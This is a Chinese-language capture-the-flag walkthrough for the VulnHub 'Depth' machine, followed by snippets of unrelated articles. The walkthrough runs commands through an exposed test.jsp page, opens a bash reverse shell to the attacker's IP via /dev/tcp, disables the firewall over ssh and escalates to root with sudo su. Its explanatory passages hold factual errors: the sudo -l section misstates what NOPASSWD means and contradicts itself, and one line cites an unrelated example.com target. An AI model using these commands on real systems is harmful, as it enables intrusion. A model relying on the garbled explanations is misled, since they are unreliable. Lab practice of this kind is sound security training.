Depth靶机详解
靶机下载地址
https://www.vulnhub.com/entry/depth-1,213/

主机发现
arp-scan -l

端口扫描
nmap -sV -A -T4 192.168.229.156

端口利用
http://192.168.229.156:8080/

目录扫描
dirb "http://192.168.229.156:8080"

dirsearch -u "http://192.168.229.156:8080"

拼接访问
提示我们可以使用命令
http://192.168.229.156:8080/test.jsp

尝试使用命令
ls -la /home

在 Linux 系统中,/home 目录通常包含每个用户的个人目录。使用 ls -la /home 命令可以查看 /home 目录下的内容,包括隐藏文件和目录。
具体的输出内容取决于系统上是否有用户创建了个人目录,以及这些用户是否有特定的权限或属性。
以下是一些常见的输出示例:
drwxr-xr-x 2 user1 users 4096 Sep 13 12:34 user1
drwxr-xr-x 2 user2 users 4096 Sep 12 08:15 user2
drwxr-xr-x 2 user3 users 4096 Sep 11 20:45 user3
其中,每行表示一个目录,其中包含以下信息:
- 权限:以
drwxr-xr-x开头,表示目录的权限和属性。 - 硬链接数:表示目录的硬链接数,通常为 2。
- 所有者:表示目录的所有者,通常为用户名。
- 组:表示目录所属的组,通常为组名。
- 大小:表示目录的大小,以字节为单位。
- 修改时间:表示目录的最后修改时间。
- 目录名:表示目录的名称,通常为用户名。
这些信息可以帮助你了解系统上是否有个人目录,以及每个用户的个人目录的权限和属性。
反弹shell
尝试是否可以输入反弹shell命令
开启监听
nc -lvvp 6767

谷歌插件生成命令,IP是kali的ip
bash -i >& /dev/tcp/192.168.229.132/6767 0>&1



反弹失败
查看进程
ps aux

发现开启了ssh服务,之前端口扫描扫不到可能是因为防火墙开启,查看etc
ls -ls /etc

linux防火墙ufw,说明存在防火墙
在 Linux 系统中,/etc 目录通常包含系统配置文件。以下是一些与防火墙相关的文件名:
iptables.rules:这是一个常见的文件名,用于保存 iptables 的规则。iptables.up.rules:这是一个文件名,用于保存 iptables 的规则,在系统启动时加载。firewalld.conf:这是一个文件名,用于配置 firewalld 服务的配置文件。ufw.conf:这是一个文件名,用于配置 ufw(Uncomplicated Firewall)的配置文件。ufw.rules:这是一个文件名,用于保存
尝试关闭防火墙
在 Linux 系统中,关闭防火墙的命令可能因不同的发行版而异。以下是一些常见的命令:
- Ubuntu/Debian 系列:
sudo ufw disable
- CentOS/Fedora 系列:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- Arch Linux:
sudo systemctl stop firewalld
sudo systemctl disable firewalld
- OpenSUSE:
sudo systemctl stop SuSEfirewall2
sudo systemctl disable SuSEfirewall2
这些命令将关闭系统的防火墙,并禁止防火墙在系统启动时自动启动。
请注意,上述命令需要在具有 root 权限的用户下执行。
执行命令
ssh bill@localhost sudo ufw disable

这个命令的含义是:
- 使用 SSH 连接到名为
bill的用户的本地主机。 - 使用
sudo命令以超级用户权限运行ufw disable命令。
具体来说,sudo 命令用于以超级用户权限运行命令,而 ufw disable 命令用于禁用 Uncomplicated Firewall (UFW)。
在实际执行这个命令之前,你需要确保以下条件:
- 当前用户有权限使用 SSH 连接到名为
bill的用户的本地主机。 - 名为
bill的用户具有超级用户权限,即在系统上具有 root 权限。 - UFW 服务已经正确安装并在系统上运行。
尝试利用ssh再次反弹shell
开启监听
nc -lvvp 6767

ssh bill@localhost bash -i >& /dev/tcp/192.168.229.132/6767 0>&1

反弹成功

提权
当在Linux或Unix系统中输入sudo -l命令时,会显示当前用户能够使用sudo命令执行的命令列表。
sudo -l命令的作用是列出当前用户能够使用sudo命令执行的命令,而不需要输入密码。当用户尝试使用sudo命令执行某些命令时,系统会检查该用户的权限是否允许执行该命令。如果用户有权限执行该命令,那么sudo命令会允许用户执行该命令,否则会提示用户没有权限执行该命令。
sudo -l命令可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
例如,如果当前用户是admin用户,并且想要查看admin用户能够使用sudo命令执行的命令,可以输入以下命令:
sudo -l
如果输出显示admin用户有权限执行某些命令,那么说明admin用户可以使用sudo命令执行这些命令,而不需要输入密码。
如果输出显示admin用户没有权限执行任何命令,那么说明admin用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l命令的输出结果可能包括以下几种情况:
- 显示当前用户能够使用sudo命令执行的命令列表,例如:
(admin) ALL = (ALL) ALL
表示admin用户可以使用sudo命令执行所有命令,并且不需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,例如:
(admin) ALL = (ALL) NOPASSWD: ALL
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,例如:
(admin) ALL = (ALL) NOPASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,但是需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都可以不输入密码。
- 显示当前用户能够使用sudo命令执行的命令列表,并且需要输入密码,并且只有在特定时间段内才可以执行,并且需要输入特定的密码,例如:
(admin) ALL = (ALL) PASSWD: ALL, !/usr/bin/passwd
表示admin用户可以使用sudo命令执行所有命令,并且需要输入密码,并且除了执行/usr/bin/passwd命令外,其他命令都需要输入特定的密码。
需要注意的是,sudo -l命令只会显示当前用户能够使用sudo命令执行的命令列表,而不包括其他用户的权限设置。如果想要查看其他用户的权限设置,需要使用sudo命令进行操作,并且需要其他用户的密码。
因此,sudo -l命令是一个非常有用的命令,可以帮助用户了解当前用户的权限范围,以便更好地使用sudo命令执行命令。
如果没有输出结果或者显示没有权限,那么表明当前用户没有任何使用sudo命令执行命令的权限,或者系统配置了禁止使用sudo命令执行某些命令的策略。
sudo -l

根据提供的信息,我们能够得知以下内容:
- 目标 URL 是
https://example.com/api/search。 - 使用
sudo -l命令的输出显示,用户bill可以以任何用户身份运行任何命令,包括root用户。 - 用户
bill可以以超级用户权限运行任何命令,而无需输入密码。
根据这些信息,我们可以尝试以下方法来提权:
- 使用
sudo su命令切换到root用户,不需要输入密码。 - 使用
sudo -u root命令以root用户的身份执行命令,不需要输入密码。 - 使用
sudo bash命令以root用户的身份启动一个新的 Bash 会话,不需要输入密码。
sudo su
whoami
id

提权成功
相关文章:
Depth靶机详解
靶机下载地址 https://www.vulnhub.com/entry/depth-1,213/ 主机发现 arp-scan -l 端口扫描 nmap -sV -A -T4 192.168.229.156 端口利用 http://192.168.229.156:8080/ 目录扫描 dirb "http://192.168.229.156:8080" dirsearch -u "http://192.168.229.15…...
go get -u @latest没有更新依赖模块
使用 go get -u gitee.com/qingfeng-169/hello-blatest 时,如果没有进行更新,可能有以下几种原因: 1. 没有发布稳定版本 (vX.X.X) latest 表示获取该模块最新的稳定版本(即带有 vX.X.X 形式的版本号),而不…...
介绍一些免费 的 html 5模版网站 和配色 网站
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、H5 网站介绍网站 二、配色网站个人推荐 前言 提示:以下是本篇文章正文内容,下面案例可供参考 一、H5 网站介绍 以下是一些提供免费…...
【C++】入门基础(下)
Hi!很高兴见到你~ 目录 7、引用 7.3 引用的使用(实例) 7.4 const引用 【第一分点】 【第二分点1】 【第二分点2】 7.5 指针和引用的关系(面试点) 8、inline 9、nullptr Relaxing Time! ———…...
Spring Boot 集成 MongoDB - 入门指南
引言 随着NoSQL数据库的流行,MongoDB 成为了许多现代Web应用程序的首选数据库之一。它提供了高性能、高可用性和易于扩展的能力。Spring Boot 框架以其开箱即用的理念简化了Java应用程序的开发过程。本文将指导您如何在Spring Boot项目中集成MongoDB,以…...
基于云计算的虚拟电厂负荷预测
基于云计算的虚拟电厂负荷预测 随着电网规模的扩大及新能源的不断应用,并网电网的安全性和经济性备受关注。 电网调度不再是单一或局部控制,而是采用智能网络集成方式调度 。 智能电网应具有以下特点:坚强自愈,可以抵御外来干扰甚…...
Android应用性能优化
Android手机由于其本身的后台机制和硬件特点,性能上一直被诟病,所以软件开发者对软件本身的性能优化就显得尤为重要;本文将对Android开发过程中性能优化的各个方面做一个回顾与总结。 Cache优化 ListView缓存: ListView中有一个回…...
fiddler抓包01:工具介绍
课程大纲 fiddler是一款常见的抓包工具,可以对web端和移动端的接口请求进行抓包(截获)、分析、编辑、模拟等,还可以导出jmeter、Loadrunner测试脚本。 1、原理 fiddler作为代理服务器,拦截请求和服务器响应。 2、使用…...
Spring Boot母婴商城:打造一站式购物体验
1 绪论 1.1 研究背景 当前社会各行业领域竞争压力非常大,随着当前时代的信息化,科学化发展,让社会各行业领域都争相使用新的信息技术,对行业内的各种相关数据进行科学化,规范化管理。这样的大环境让那些止步不前&#…...
【面试八股总结】GC垃圾回收机制
垃圾回收策略(Garbage Collection,GC)用于回收不再使用的内存,避免系统的内存被占满。Go1.3之前采用标记清除法, Go1.3之后采用三色标记法,Go1.8采用三色标记法混合写屏障。 前置概念: 1&#x…...
arcgisPro修改要素XY容差
1、在arcgisPro中XY容差的默认值为1个毫米,及0.001米。为了更精细的数据,需要提高这个精度,如何提高呢? 2、如果直接在数据库下新建要素类,容差只能调至0.0002米。所以,需要在数据库下新建要素数据集。 3…...
Java 21的Enhanced Deprecation的笔记
Java Core Libraries Enhanced Deprecation 废弃API,一般可以理解为不推荐开发者在项目中使用的API,当前为了保持兼容,在JDK中保留,未来可能会删除。 作为开发者,使用工具jdeprscan可以方便的查找现有代码中存在的一些…...
Ubuntu下Git使用教程:从入门到实践
引言 在软件开发和版本控制领域,Git无疑是最为流行的工具之一。它不仅能够帮助我们高效地管理代码,还能促进团队协作,确保项目的持续集成与交付。对于使用Ubuntu操作系统的开发者而言,掌握Git的使用技巧尤为重要。本文将带您一步…...
【开放词汇检测】基于MMDetection的MM-Grounding-DINO实战
文章目录 摘要安装基础环境新建虚拟环境安装pytorch安装openmim、mmengine、mmcv安装 MMDetection验证安装配置OV-DINO环境 MMDetection的MM-Grounding-DINO详细介绍测试结果Zero-Shot COCO 结果与模型Zero-Shot LVIS ResultsZero-Shot ODinW(野生环境下的目标检测&…...
PLC-Recorder 对西门子传动的采集方法
目录 一、增加西门子传动的通道 二、变量配置 2.1 语法格式 a:装置号 b:参数号 c:参数下标 2.2 配置及连接测试情况 三、正式采集 四、小结 PLC-Recorder V3.4.0版本增加了西门子传动参数采集的功能(增加了传动的设备类型&a…...
【网络通信基础与实践第三讲】传输层协议概述包括UDP协议和TCP协议
一、进程间的通信 通信的两端应当是两个主机中的应用进程,也就是说,端到端的通信是应用进程之间的通信 运输层有一个很重要的功能就是复用和分用,复用是指在发送方不同的应用进程都可以使用同一个运输层协议传送数据,分用是指接…...
centos更改静态ip
点击网络和internet设置 点击更改适配器 、点击属性...
YOLOv5/v8 + 双目相机测距
yolov5/v8双目相机测距的代码,需要相机标定 可以训练自己的模型并检测测距,都是python代码 已多次实验,代码无报错。 非常适合做类似的双目课题! 相机用的是汇博视捷的双目相机,具体型号见下图。 用的yolov5是6.1版本的…...
双三次插值及MATLAB实现
一、双三次插值的概念 双三次插值(Bicubic interpolation),又叫双立方插值。在数值分析这个数学分支中,双三次插值是二维空间中最常用的插值方法。在这种方法中,函数f在点 (x0 ,y0) 的值不仅考虑其直接邻接点对其的影响…...
Kubernetes 持续集成与交付(CI/CD)
Kubernetes 持续集成与交付(CI/CD)详解 Kubernetes 是目前主流的容器编排平台,而在 DevOps 的实践中,持续集成与持续交付(CI/CD)是自动化软件开发与运维的核心环节。Kubernetes 与 CI/CD 的结合࿰…...
浅谈 React Hooks
React Hooks 是 React 16.8 引入的一组 API,用于在函数组件中使用 state 和其他 React 特性(例如生命周期方法、context 等)。Hooks 通过简洁的函数接口,解决了状态与 UI 的高度解耦,通过函数式编程范式实现更灵活 Rea…...
网络六边形受到攻击
大家读完觉得有帮助记得关注和点赞!!! 抽象 现代智能交通系统 (ITS) 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 (…...
7.4.分块查找
一.分块查找的算法思想: 1.实例: 以上述图片的顺序表为例, 该顺序表的数据元素从整体来看是乱序的,但如果把这些数据元素分成一块一块的小区间, 第一个区间[0,1]索引上的数据元素都是小于等于10的, 第二…...
【解密LSTM、GRU如何解决传统RNN梯度消失问题】
解密LSTM与GRU:如何让RNN变得更聪明? 在深度学习的世界里,循环神经网络(RNN)以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而,传统RNN存在的一个严重问题——梯度消失&#…...
如何在看板中有效管理突发紧急任务
在看板中有效管理突发紧急任务需要:设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP(Work-in-Progress)弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中,设立专门的紧急任务通道尤为重要,这能…...
【HTML-16】深入理解HTML中的块元素与行内元素
HTML元素根据其显示特性可以分为两大类:块元素(Block-level Elements)和行内元素(Inline Elements)。理解这两者的区别对于构建良好的网页布局至关重要。本文将全面解析这两种元素的特性、区别以及实际应用场景。 1. 块元素(Block-level Elements) 1.1 基本特性 …...
大数据学习(132)-HIve数据分析
🍋🍋大数据学习🍋🍋 🔥系列专栏: 👑哲学语录: 用力所能及,改变世界。 💖如果觉得博主的文章还不错的话,请点赞👍收藏⭐️留言Ǵ…...
以光量子为例,详解量子获取方式
光量子技术获取量子比特可在室温下进行。该方式有望通过与名为硅光子学(silicon photonics)的光波导(optical waveguide)芯片制造技术和光纤等光通信技术相结合来实现量子计算机。量子力学中,光既是波又是粒子。光子本…...
动态 Web 开发技术入门篇
一、HTTP 协议核心 1.1 HTTP 基础 协议全称 :HyperText Transfer Protocol(超文本传输协议) 默认端口 :HTTP 使用 80 端口,HTTPS 使用 443 端口。 请求方法 : GET :用于获取资源,…...
MySQL:分区的基本使用
目录 一、什么是分区二、有什么作用三、分类四、创建分区五、删除分区 一、什么是分区 MySQL 分区(Partitioning)是一种将单张表的数据逻辑上拆分成多个物理部分的技术。这些物理部分(分区)可以独立存储、管理和优化,…...
